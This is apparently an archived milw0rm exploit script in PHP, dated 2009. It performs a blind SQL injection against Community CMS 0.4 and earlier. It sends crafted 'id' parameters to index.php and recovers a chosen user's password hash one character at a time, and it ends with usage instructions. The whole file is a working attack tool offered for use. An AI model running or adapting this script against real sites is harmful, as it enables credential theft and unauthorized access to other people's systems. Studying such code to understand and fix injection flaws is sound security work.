80 lines
No EOL
1.7 KiB
PHP
80 lines
No EOL
1.7 KiB
PHP
--+++==============================================================+++--
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--+++====== Community CMS <= 0.4 Blind SQL Injection Exploit ======+++--
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--+++==============================================================+++--
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<?php
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function query ($user, $pos, $chr)
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{
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$query = "x' OR ASCII(SUBSTRING((SELECT password FROM comcms_users WHERE username = '{$user}'),{$pos},1))={$chr} OR '1' = '2";
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$query = str_replace (" ", "%20", $query);
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$query = str_replace ("'", "%27", $query);
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return $query;
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}
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function exploit ($hostname, $path, $user, $pos, $chr)
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{
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$chr = ord ($chr);
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$fp = fsockopen ($hostname, 80);
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$query = query ($user, $pos, $chr);
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$get = "GET {$path}/index.php?id={$query} HTTP/1.1\r\n".
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"Host: {$hostname}\r\n".
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"Connection: Close\r\n\r\n";
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fputs ($fp, $get);
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while (!feof ($fp))
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$x .= fgets ($fp, 1024);
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fclose ($fp);
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if (preg_match ("/Failed to load page/", $x))
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return false;
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else
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return true;
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}
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function usage () {
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exit (
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"Community CMS <= 0.4 Blind SQL Injection Exploit".
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"\n[+] Author : darkjoker".
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"\n[+] Site : http://darkjoker.net23.net".
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"\n[+] Download: http://surfnet.dl.sourceforge.net/sourceforge/communitycms/communitycms-0.4.zip".
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"\n[+] Usage : php xpl.php <localhost> <path> <username>".
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"\n[+] Ex. : php xpl.php localhost /CommunityCMS admin".
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"\n[+] Greetz : certaindeath".
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"\n\n");
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}
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if ($argc != 4)
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usage ();
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$hostname = $argv [1];
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$path = $argv [2];
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$user = $argv [3];
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$key = "abcdef0123456789";
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$pos = 1;
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$chr = 0;
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echo "[+] Password: ";
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while ($pos <= 32)
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{
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if (exploit ($hostname, $path, $user, $pos, $key [$chr]))
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{
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echo $key [$chr];
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$chr = 0;
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$pos++;
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}
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else
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$chr++;
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}
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echo "\n\n";
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?>
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# milw0rm.com [2009-01-28]
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